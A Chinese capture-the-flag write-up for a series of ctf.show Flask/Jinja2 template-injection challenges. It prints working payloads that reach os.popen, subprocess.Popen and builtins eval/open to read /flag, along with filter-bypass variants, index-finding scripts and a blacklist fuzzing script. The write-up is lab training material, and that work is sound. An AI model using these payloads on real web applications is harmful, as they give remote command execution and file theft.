Web-361

os._wrap_close类

进入页面的时候有个hello none,我们用get方式传name为不同值,就会变成不同的hello name

我们令name=49,发现回显是hello 49

令name=49,发现回显是hello 7777777

因此,我们使用魔术对象来看基类中的所有子类:

1
?name={{[].__class__.__base__.__subclasses__()}}

可以看到页面回显信息中出现非常多的类

其中,可以看到里面有os._wrap_close类,里面有个popen函数,我们可以用这个函数来完成我们的注入,下面问题就是怎么知道这个类是第几个

回显这么多类,一个个找属实有点不太现实,我们这边选择写一个简单的脚本(不过我这里是网上直接找的)

1
2
3
4
5
6
7
8
import requests
from tqdm import tqdm

for i in tqdm(range(233)):
url = 'http://9c386959-6c7d-451b-a48d-a02387c4b367.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()['+str(i)+']}}'
r = requests.get(url=url).text
if('os._wrap_close' in r):
print(i)

打印出的数字是132,所以我们接下来就是实例化对象,确认这个类里面的确有这个函数

1
?name={{[].__class__.__bases__[0].__subclasses__()[132].__init__.__globals__}}

回显依然一大堆……我们ctrl+F就可以发现里面确实有popen函数了

接下来就是利用这个函数了!

1
http://9c386959-6c7d-451b-a48d-a02387c4b367.challenge.ctf.show/?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

我们来看看根目录下有啥,发现flag就在里面!

ok,接下来cat flag就完事力

1
http://9c386959-6c7d-451b-a48d-a02387c4b367.challenge.ctf.show/?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

获得了flag!

config

写到364突然恍然大雾,回到361试了一下

1
http://6cf27c9e-b5ac-4310-a3be-609929ce7885.challenge.ctf.show/?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

果然,直接获得flag

Web-362 过滤数字

subprocess.Popen类

1
http://7dac1b45-57e3-4007-b55a-aa7a646bcaaf.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()}}

发现和之前一样,搞出来一堆的类,而且里面依然有os._wrap_close类

我们跑一下脚本看看还是不是132了

1
2
3
4
5
6
7
8
9
import requests
from tqdm import tqdm

for i in tqdm(range(233)):
url = 'http://7dac1b45-57e3-4007-b55a-aa7a646bcaaf.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()['+str(i)+']}}'
r = requests.get(url=url).text
if('os._wrap_close' in r):
print(i)

发现别说132了,什么数字都没出来

搜了一下,发现是屏蔽了某些数字

我也试了一下,如name=2或name=3的时候,回显就错误了,那这样的话,第132的os._wrap_close类也就用不了了。

那我们还是看看那一堆类里面,有没有别的可以利用的,可以看到,里面有个subprocess.Popen类,应该和那个popen函数有点关系

所以我们写脚本来找这个类的位置

1
2
3
4
5
6
7
8
import requests
from tqdm import tqdm

for i in tqdm(range(666)):
url = 'http://7dac1b45-57e3-4007-b55a-aa7a646bcaaf.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()['+str(i)+']}}'
r = requests.get(url=url).text
if('subprocess.Popen' in r):
print(i)

出来结果是407,接下来就利用这个类来找flag

然后是对这个类的整理

http://www.cppcns.com/jiaoben/python/295192.html

https://docs.python.org/zh-cn/3/library/subprocess.html

1
http://7dac1b45-57e3-4007-b55a-aa7a646bcaaf.challenge.ctf.show/?name={{().__class__.__mro__[1].__subclasses__()[407]("cat /flag",shell=True,stdout=-1).communicate()}}

顺带一提,这个__mro__[1]可以用__base__代替

所以我们这样即可,注意:

communicate()函数是为了获取cat到flag

然后stdout为什么是-1,暂时不太理解

当然,可以的话也可以

1
http://7dac1b45-57e3-4007-b55a-aa7a646bcaaf.challenge.ctf.show/?name={{().__class__.__mro__[1].__subclasses__()[407]("cat /flag",shell=True,stdout=-1).communicate()[0]}}

全角数字代替正常数字

用这个脚本来获取全角数字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
s="0123456789"
for i in s:
t+='\''+half2full(i)+'\','
print(t)

然后回到上一题的payload,把132替换成全角的即可

1
http://0ae26f66-28c8-4dd7-aa5d-071f7e40f315.challenge.ctf.show/?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

利用__builtins__

一些前置知识:

1
2
3
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]

可以用以下已有的函数,去找到__builtins__,然后用eval就可以了:

1
?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

当然,也可以用open函数:

1
?name={{url_for.__globals__['__builtins__']['open']('/flag').read()}}

这里还有另一个方法可以得到builtins:

1
?name={{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

当然,也可以像361那种:

1
?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

控制语句

1
http://0ce1154b-9197-4c38-9be8-120b7382683f.challenge.ctf.show/?name={% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('cat /flag').read() %}{% endif %}{% endfor %}

Web-363 过滤引号

1
http://38cdd61b-ffde-47de-92fc-7ac9ac533e0c.challenge.ctf.show/?name={7*7}}

发现回显还是49

但是发现加了单引号之后就显示:(了,试了一下,换成双引号也不行看来是过滤了引号

1
http://38cdd61b-ffde-47de-92fc-7ac9ac533e0c.challenge.ctf.show/?name={{7*'7'}}

而我们之前的payload,那些cat /flag等函数都是在引号之内,说明我们得换个方法

1
http://38cdd61b-ffde-47de-92fc-7ac9ac533e0c.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()}}

我们这边可以考虑使用get传入参数

os._wrap_close类

用和361基本一样的脚本就可以发现,仍然能在第132的位置找到我们的os._wrap_close类

在web-361的时候,我们使用的是

1
?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}} 

本来应该这样的,但是单引号被过滤了

引号被过滤了无法执行,把’popen’先换成request.args.a(这里的a可以理解为自定义的变量,名字可以任意设置),让a=popen

同样的,命令执行’ls’也要换

所以

1
?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /flag

就可以获得flag

subprocess.Popen类

和刚刚其实差不多的思路

1
?name={{().__class__.__mro__[1].__subclasses__()[407](request.args.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag

还省了一个参数

builtins

__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:

1
?name={{[].__class__.__bases__[0].__subclasses__()[132].__init__.__globals__.__builtins__[request.args.a](request.args.b).read()}}&a=open&b=/flag

open就是打开文件的函数,所以不用cat

Web-364 过滤args

request.系列

1
http://729778b3-4ecd-4ae3-a38c-2cb38398cf63.challenge.ctf.show/?name={{7*'7'}}

和363一样,7*7的时候还是49

7*‘7’的时候就变成:(了

1
http://729778b3-4ecd-4ae3-a38c-2cb38398cf63.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()}}

嗯……还是出来一堆类,用363的payload的时候发现又出问题了

1
?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /flag

试了一下,发现是args被过滤了

我们可以换request.values.a来绕

1
?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.values.a](request.values.b).read()}}&a=popen&b=cat /flag

其他类其实原理差不多

只需要把request.args.a换成request.values.a即可

查了一下,和args相比,values不止能接收get参数,post参数也照单全收

除此之外,还可以是request.cookies来传cookie参数,

chr()

这道题还可以用chr()函数来绕过

我们先看看chr()函数是干嘛的

chr(i)可以返回整数i对应的ASCII字符,i可以是10进制也可以是16进制

1
2
3
4
>>>print chr(0x30), chr(0x31), chr(0x61)   # 十六进制
0 1 a
>>> print chr(48), chr(49), chr(97) # 十进制
0 1 a

可以用这个payload判断chr()函数的位置:

1
{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}

用bp跑一下

1665160900086

1665160920087

随便拿一个都行,我们这边用80

1
?name={%set chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}

然后,至于这个payload为什么是这样

大致意思,就是先利用控制语句设置一个chr字符串变量,其值就等于__builtins__下面的chr,然后

拼接出来类似于下面这个命令

1
{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

由于都是chr()函数拼接而成,所以也自然不需要引号来强调popen()里为字符串

Web-365 过滤中括号

1
http://653302a0-a703-4509-905c-733f906a0f5c.challenge.ctf.show/?name={{7*'7'}}

熟悉的故事,咱们的引号又倒了(哭腔

1
http://653302a0-a703-4509-905c-733f906a0f5c.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()}}

这下寄了,连类都没显示出来,试了一下,是[]被优化过滤了

顺带一提args还是不行

其实这个方法也可以算两个

有两种方式可以绕过[

可以用__getitem__pop代替,因为pop会破坏数组的结构,所以更推荐用__getitem__

引入__getitem__调用字典中的键值,比如说a[‘b’]就可以用a.getitem(‘b’)来表示,成功绕过[]

上一题的payload是

1
?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.values.a](request.values.b).read()}}&a=popen&b=cat /flag

我们把中括号换成getitem即可(class前那个中括号改成小括号即可)

1
?name={{().__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=cat /flag

或者

1
?name={{().__class__.__base__.__subclasses__().__getitem__(407)(request.values.a,shell=True,stdout=-1).communicate().__getitem__(0)}}&a=cat /flag

获得flag!

Web-366 过滤下划线

不用说,引号又倒了

中括号等前面被屏蔽的也都没了

1
http://43e20988-b97b-4e38-9eab-14522ea18ac1.challenge.ctf.show/?name={{().__class__.__base__.__subclasses__()}}

也不行,试了一下发现倒不是因为括号,而是因为下划线

顺便在网上找了个找过滤内容的fuzz脚本,稍微改改就能用了

来自https://blog.csdn.net/LYJ20010728/article/details/120190525

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
from tqdm import tqdm

url = 'http://889a9ec1-3a91-4e11-925e-3bde2e60fb4a.challenge.ctf.show:8080/?name='

headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
fuzzList = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9','\\','\'','\"','.','+','{','{{','%','#','if','for','class','(',')','[',']','base','bases','mro','_','__','init','globals','subclasses','popen','import','os','dir','builtins','config','get_flashed_messages','current_app','attr','getattr','request','chr','join','|','replace','decode','enter','exit','pop','getitem','args','url_for','range','session','dict','self','reload','count','length','print','curl']
blackList = []
for fuzz in tqdm(fuzzList):
res = requests.get(url=(url+fuzz), headers=headers)
if ':(' in res.text:
blackList.append(fuzz)
print("blackList is ", end="")
print(blackList)

返回结果是

1
blackList is ["'", '"', '[', '_', '__', 'get_flashed_messages', 'current_app', 'args', 'url_for']

这里为了绕过下划线的过滤,要用到flask自带的attr过滤器

1
2
3
4
5
6
7
8
9
10
""|attr("__class__")
相当于
"".__class__
所以
lipsum|attr(request.cookies.a)
相当于
lipsum.__globals__
这样就可以去拿到os
(lipsum.__globals__也含有os模块)

所以构造payload

1
http://43e20988-b97b-4e38-9eab-14522ea18ac1.challenge.ctf.show/?name={{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__

之所以用lipsum是因为下划线比较少,可以少绕几个下划线()